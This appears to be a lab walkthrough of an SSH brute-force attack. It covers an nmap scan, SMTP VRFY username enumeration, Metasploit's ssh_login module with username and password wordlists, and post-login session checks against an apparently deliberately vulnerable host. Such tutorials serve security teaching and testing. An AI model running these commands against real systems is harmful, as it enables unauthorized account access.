SSH Brute-Force
SSH is generally secure due to its use of encryption, but its authentication layer can still be compromised through weak or reused passwords. This attack uses Metasploit's ssh_login module to systematically test username and password combinations against a target, gaining access whenever a valid credential pair is found. Before running the attack, wordlists containing candidate usernames and passwords should be prepared in advance.
Discovery
nmap -A -p- -T5 [target IP]Scans all ports with service versions and OS detection; SSH (22) is identified as open.
Enumeration
smtp-user-enum -M VRFY -U /usr/share/wordlists/fern-wifi/common.txt -t [target IP]Queries the SMTP server's VRFY command with each username in the wordlist, revealing which ones actually exist on the system — providing verified usernames to use in the SSH brute-force attempt instead of guessing blindly.
Attack
msfconsoleLaunches the Metasploit Framework console.
search sshSearches for modules related to SSH.
use auxiliary/scanner/ssh/ssh_loginSelects the SSH login brute-force scanner module.
show optionsDisplays the required parameters for the module.
set rhosts [target IP]Sets the target's IP address.
set USER_FILE /usr/share/wordlists/sshusers.txtVerified usernames discovered via SMTP enumeration.
set PASS_FILE /usr/share/wordlists/sshpassword.txtSets the wordlist file containing candidate passwords to try.
exploitLaunches the brute-force attempt in the foreground, showing each username/password combination as it's tried.
Verification
sessions -lLists active sessions.
sessions -i [id]Connects to the session opened with the discovered credentials.
whoamiConfirms which user account and credentials were discovered — in this case, msfadmin rather than root.
uname -aDisplays the target system's kernel information.
lsConfirms file access within the compromised account.
First Step
Before running this attack, verified usernames should be gathered instead of guessing blindly — see how to enumerate valid SMTP accounts here.
Tool Used
This attack was carried out using Metasploit Framework — see the full command reference here.